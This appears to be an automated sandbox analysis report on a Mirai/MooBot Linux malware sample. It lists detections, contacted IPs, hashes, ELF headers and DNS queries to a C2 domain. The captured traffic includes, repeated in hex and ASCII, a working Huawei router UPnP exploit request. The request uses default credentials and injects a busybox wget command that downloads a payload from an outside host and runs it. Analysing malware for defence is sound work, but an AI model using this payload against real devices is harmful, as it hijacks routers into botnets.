Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	Windows Management Instrumentation	2 Scripting	Path Interception	1 File and Directory Permissions Modification	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 File Deletion	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Source	Detection	Scanner	Label	Link
q4zH330dlR.elf	61%	Virustotal		Browse
q4zH330dlR.elf	66%	ReversingLabs	Linux.Trojan.Mirai
q4zH330dlR.elf	100%	Avira	EXP/ELF.Mirai.Z.A

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	q4zH330dlR.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	q4zH330dlR.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
197.57.15.57	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.68.176.215	unknown	Egypt	24835	RAYA-ASEG	false
41.204.187.206	unknown	Kenya	36914	KENET-ASKE	false
41.237.9.164	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.71.210.9	unknown	Nigeria	37053	RSAWEB-ASZA	false
41.199.222.5	unknown	Egypt	36992	ETISALAT-MISREG	false
197.209.63.140	unknown	Sudan	36998	SDN-MOBITELSD	false
157.186.91.150	unknown	Russian Federation	22192	SSHENETUS	false
197.147.46.204	unknown	Morocco	36884	MAROCCONNECTMA	false
197.11.5.117	unknown	Tunisia	5438	ATI-TN	false
197.163.185.225	unknown	Egypt	24863	LINKdotNET-ASEG	false
157.74.27.71	unknown	Japan	131932	JEIS-NETJREastInformationSystemsCompanyJP	false
197.85.217.128	unknown	South Africa	10474	OPTINETZA	false
184.51.10.75	unknown	United States	16625	AKAMAI-ASUS	false
149.39.98.64	unknown	United States	17112	BBDO-NYUS	false
111.182.33.188	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
120.184.183.8	unknown	Indonesia	4761	INDOSAT-INP-APINDOSATInternetNetworkProviderID	false
157.102.254.146	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
157.9.150.69	unknown	Japan	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
197.162.24.212	unknown	Egypt	24863	LINKdotNET-ASEG	false
197.69.23.21	unknown	South Africa	16637	MTNNS-ASZA	false
197.141.65.36	unknown	Algeria	36891	ICOSNET-ASDZ	false
157.247.205.5	unknown	Austria	8447	TELEKOM-ATA1TelekomAustriaAGAT	false
41.86.94.207	unknown	unknown	37203	LIBTELCOLR	false
112.223.108.139	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
41.77.133.203	unknown	Mozambique	37110	moztel-asMZ	false
219.190.238.192	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
157.57.229.62	unknown	United States	3598	MICROSOFT-CORP-ASUS	false
110.81.96.29	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
41.205.82.213	unknown	Cameroon	36905	Creolink-ASNCM	false
157.82.96.112	unknown	Japan	2501	UTNETTheUniversityofTokyoJP	false
157.186.91.136	unknown	Russian Federation	22192	SSHENETUS	false
186.73.226.96	unknown	Panama	11556	CableWirelessPanamaPA	false
197.169.212.202	unknown	South Africa	37168	CELL-CZA	false
157.6.53.157	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
197.33.36.97	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.173.131.63	unknown	South Africa	37168	CELL-CZA	false
41.133.170.191	unknown	South Africa	10474	OPTINETZA	false
177.212.137.220	unknown	Brazil	26599	TELEFONICABRASILSABR	false
61.33.74.12	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
157.121.153.104	unknown	United States	2514	INFOSPHERENTTPCCommunicationsIncJP	false
197.152.130.217	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
41.207.133.230	unknown	Mauritius	36868	EISMU	false
157.55.8.204	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
41.140.123.133	unknown	Morocco	36903	MT-MPLSMA	false
197.223.49.56	unknown	Egypt	37069	MOBINILEG	false
41.140.123.134	unknown	Morocco	36903	MT-MPLSMA	false
188.1.17.188	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
197.146.166.210	unknown	Morocco	36884	MAROCCONNECTMA	false
157.19.170.100	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
157.9.137.46	unknown	Japan	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
196.223.113.136	unknown	Nigeria	327942	LANDMARK-UNIVERSITYNG	false
197.89.123.63	unknown	South Africa	10474	OPTINETZA	false
23.55.86.193	unknown	United States	16625	AKAMAI-ASUS	false
157.50.14.128	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
197.254.179.181	unknown	Lesotho	37057	VODACOM-LESOTHOLS	false
197.164.226.6	unknown	Egypt	24863	LINKdotNET-ASEG	false
197.177.40.56	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
177.164.197.25	unknown	Brazil	26615	TIMSABR	false
41.67.115.111	unknown	unknown	36974	AFNET-ASCI	false
157.105.159.51	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
41.225.142.164	unknown	Tunisia	37671	GLOBALNET-ASTN	false
157.126.197.179	unknown	United States	1738	OKOBANK-ASEU	false
197.99.166.222	unknown	South Africa	3741	ISZA	false
197.228.87.223	unknown	South Africa	37457	Telkom-InternetZA	false
197.195.100.245	unknown	Egypt	36992	ETISALAT-MISREG	false
92.79.100.251	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
118.170.22.214	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
157.215.45.43	unknown	United States	4704	SANNETRakutenMobileIncJP	false
160.101.149.228	unknown	United States	25940	TIBCOUS	false
41.179.39.152	unknown	Egypt	24863	LINKdotNET-ASEG	false
197.226.203.97	unknown	Mauritius	23889	MauritiusTelecomMU	false
208.89.128.104	unknown	Canada	33164	AS-IRISTELCA	false
197.90.49.82	unknown	South Africa	10474	OPTINETZA	false
106.142.62.48	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
4.180.16.74	unknown	United States	3356	LEVEL3US	false
41.40.226.131	unknown	Egypt	8452	TE-ASTE-ASEG	false
157.54.102.234	unknown	United States	3598	MICROSOFT-CORP-ASUS	false
41.31.222.120	unknown	South Africa	29975	VODACOM-ZA	false
208.153.207.181	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
41.60.98.23	unknown	Mauritius	30969	ZOL-ASGB	false
50.205.220.172	unknown	United States	7922	COMCAST-7922US	false
197.226.252.23	unknown	Mauritius	23889	MauritiusTelecomMU	false
197.180.156.73	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
157.234.198.240	unknown	United States	7018	ATT-INTERNET4US	false
197.248.168.186	unknown	Kenya	37061	SafaricomKE	false
197.130.149.12	unknown	Morocco	6713	IAM-ASMA	false
41.60.196.67	unknown	Mauritius	37146	realtime-asZM	false
197.217.201.63	unknown	Angola	11259	ANGOLATELECOMAO	false
41.206.119.117	unknown	Mauritius	37100	SEACOM-ASMU	false
157.141.240.74	unknown	United States	27064	DNIC-ASBLK-27032-27159US	false
197.26.20.210	unknown	Tunisia	37492	ORANGE-TN	false
19.11.19.210	unknown	United States	3	MIT-GATEWAYSUS	false
157.228.56.138	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
197.70.48.47	unknown	South Africa	16637	MTNNS-ASZA	false
197.87.134.13	unknown	South Africa	10474	OPTINETZA	false
157.190.28.164	unknown	Ireland	1213	HEANETIE	false
41.35.188.234	unknown	Egypt	8452	TE-ASTE-ASEG	false
47.75.69.66	unknown	United States	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
41.236.54.216	unknown	Egypt	8452	TE-ASTE-ASEG	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
41.68.176.215	LyBVhwRN2I.elf	Get hash	malicious	Mirai, Moobot	Browse
	skyljne.x86.elf	Get hash	malicious	Mirai	Browse
	bk.arm7-20221002-0650.elf	Get hash	malicious	Mirai	Browse
	bk.mips-20220929-2309.elf	Get hash	malicious	Mirai	Browse
	F5ESSB0UhU	Get hash	malicious	Mirai	Browse
197.147.46.204	iiSO89mDz8.elf	Get hash	malicious	Mirai, Moobot	Browse
197.147.46.204	31eLibxfJL.elf	Get hash	malicious	Mirai, Moobot	Browse
197.11.5.117	qx6m8jndWK.elf	Get hash	malicious	Mirai, Moobot	Browse
197.163.185.225	7hw1tIZQt2.elf	Get hash	malicious	Mirai	Browse
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse
	5myjCCyDmz.elf	Get hash	malicious	Mirai, Moobot	Browse
	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse
	x86	Get hash	malicious	Mirai	Browse
	E4gyNPJsJ7	Get hash	malicious	Unknown	Browse
	14l9RudrIU	Get hash	malicious	Mirai	Browse
41.237.9.164	oQQiRRixtn.elf	Get hash	malicious	Mirai	Browse
41.237.9.164	x86.elf	Get hash	malicious	Mirai	Browse
157.186.91.150	V2gmMU6Vky	Get hash	malicious	Mirai	Browse
41.71.210.9	arm	Get hash	malicious	Unknown	Browse
41.199.222.5	6xdmbwgmYd.elf	Get hash	malicious	Mirai, Moobot	Browse
41.199.222.5	m68k	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bn.networkbn.click	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	103.172.79.74
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	103.172.79.74
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	103.172.79.74
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	103.172.79.74
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	103.172.79.74
	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	103.172.79.74
	zpbWkmw0VY.elf	Get hash	malicious	Mirai, Moobot	Browse	103.14.225.191
	BqGE57kqQq.elf	Get hash	malicious	Mirai, Moobot	Browse	103.14.225.191
	s733gyCw41.elf	Get hash	malicious	Mirai, Moobot	Browse	103.14.225.191
	yJD0izAidI.elf	Get hash	malicious	Mirai, Moobot	Browse	103.14.225.191

Process:	/tmp/q4zH330dlR.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	4.021928094887362
Encrypted:	false
SSDEEP:	3:TgIV/EJ5:TgIV/EJ5
MD5:	F9C295592341BBCD64510C0E6B62031B
SHA1:	EC01F492CDFBD4216BA82589B458EAFBC9BBFE41
SHA-256:	D0CFCB61683613BD9E8553ADC292972C5AFDE9E5F7689620A385AC795D13B81A
SHA-512:	04EFA660E867F7BE4A546AE0EDF3B9C6225E513888ED9093A0F9A0FEB5D0EC4D8C72727A745694D8EFC8523C65B7B97F721B291852EDC9D97BDBC45AEA695B0D
Malicious:	false
Reputation:	low
Preview:	/tmp/q4zH330dlR.elf.

File type:	ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.254059150592997
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	q4zH330dlR.elf
File size:	75'004 bytes
MD5:	bdff626c52fb44c1beb266f140ae65cd
SHA1:	f154a223bae1efec25150085fe5c768fba808942
SHA256:	ab98ed0962904671af642cb4237550ff10c5da2caba3ed801c21c29d63ec1aff
SHA512:	e3ba27ece56d642d90b47af1304e99ccaebc5703437f35ab9106d652ce6f5c615cdb08c31fd7aff508c33cc895e0437629d36de9772660fd0a19d60c14cfb756
SSDEEP:	1536:seq844GBBxXIA9oQwlya7A8uRVc/Lc6hS0/TiNOIkfQE7E:seT44G7xXf9dwlyaTLxhjSkf97E
TLSH:	F5734BDAF801DD7DF84BD77B4453090ABA31A3D107831B36639BBDA7BC721991822E85
File Content Preview:	.ELF.......................D...4..#l.....4. ...(.................................. ...........>...>....0..&0...... .dt.Q............................NV..a....da....`N^NuNV..J9..C,f>"y..?. QJ.g.X.#...?.N."y..?. QJ.f.A.....J.g.Hy....N.X.......C,N^NuNV..N^NuN

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MC68000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x80000144
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	74604
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x80000094	0x94	0x14	0x0	0x6	AX	2
.text	PROGBITS	0x800000a8	0xa8	0xfe8a	0x0	0x6	AX	4
.fini	PROGBITS	0x8000ff32	0xff32	0xe	0x0	0x6	AX	2
.rodata	PROGBITS	0x8000ff40	0xff40	0x1fb8	0x0	0x2	A	2
.ctors	PROGBITS	0x80013efc	0x11efc	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x80013f04	0x11f04	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x80013f10	0x11f10	0x41c	0x0	0x3	WA	4
.bss	NOBITS	0x8001432c	0x1232c	0x2200	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x1232c	0x3e	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x80000000	0x80000000	0x11ef8	0x11ef8	6.2857	0x5	R E	0x2000	.init .text .fini .rodata
LOAD	0x11efc	0x80013efc	0x80013efc	0x430	0x2630	3.4821	0x6	RW	0x2000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 17, 2024 03:42:51.756283998 CET	192.168.2.15	8.8.8.8	0xd1a8	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:42:59.556865931 CET	192.168.2.15	8.8.8.8	0xcf87	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:07.351191044 CET	192.168.2.15	8.8.8.8	0x4f44	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:11.016192913 CET	192.168.2.15	8.8.8.8	0x72b5	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:20.795284033 CET	192.168.2.15	8.8.8.8	0xea1d	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:27.551436901 CET	192.168.2.15	8.8.8.8	0x55d2	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:33.330060959 CET	192.168.2.15	8.8.8.8	0xc0a9	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:42.113341093 CET	192.168.2.15	8.8.8.8	0x6a8a	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:46.908597946 CET	192.168.2.15	8.8.8.8	0x49b	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:49.691781044 CET	192.168.2.15	8.8.8.8	0x9c58	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:56.446963072 CET	192.168.2.15	8.8.8.8	0xccbf	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:04.222081900 CET	192.168.2.15	8.8.8.8	0xcb51	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:10.992655039 CET	192.168.2.15	8.8.8.8	0x57be	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:17.764771938 CET	192.168.2.15	8.8.8.8	0x484c	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:27.566021919 CET	192.168.2.15	8.8.8.8	0x81cb	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:33.348797083 CET	192.168.2.15	8.8.8.8	0xe926	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:43.101480007 CET	192.168.2.15	8.8.8.8	0x5bd1	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:45.874736071 CET	192.168.2.15	8.8.8.8	0xd031	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:50.675355911 CET	192.168.2.15	8.8.8.8	0x90ad	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:53.451117039 CET	192.168.2.15	8.8.8.8	0x46c0	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Mar 17, 2024 03:42:51.867808104 CET	8.8.8.8	192.168.2.15	0xd1a8	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:42:59.656126976 CET	8.8.8.8	192.168.2.15	0xcf87	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:07.445602894 CET	8.8.8.8	192.168.2.15	0x4f44	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:11.111947060 CET	8.8.8.8	192.168.2.15	0x72b5	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:20.882945061 CET	8.8.8.8	192.168.2.15	0xea1d	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:27.645771980 CET	8.8.8.8	192.168.2.15	0x55d2	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:33.424350977 CET	8.8.8.8	192.168.2.15	0xc0a9	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:42.207088947 CET	8.8.8.8	192.168.2.15	0x6a8a	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:47.002881050 CET	8.8.8.8	192.168.2.15	0x49b	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:49.788544893 CET	8.8.8.8	192.168.2.15	0x9c58	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:56.535201073 CET	8.8.8.8	192.168.2.15	0xccbf	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:04.315902948 CET	8.8.8.8	192.168.2.15	0xcb51	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:11.089611053 CET	8.8.8.8	192.168.2.15	0x57be	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:17.864604950 CET	8.8.8.8	192.168.2.15	0x484c	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:27.653934956 CET	8.8.8.8	192.168.2.15	0x81cb	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:33.436353922 CET	8.8.8.8	192.168.2.15	0xe926	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:43.194856882 CET	8.8.8.8	192.168.2.15	0x5bd1	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:45.971061945 CET	8.8.8.8	192.168.2.15	0xd031	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:50.772298098 CET	8.8.8.8	192.168.2.15	0x90ad	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
Mar 17, 2024 03:43:33.292460918 CET	825	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:43:33.593400002 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Timestamp	Bytes transferred	Direction	Data
Mar 17, 2024 03:44:29.927983999 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:44:30.502087116 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 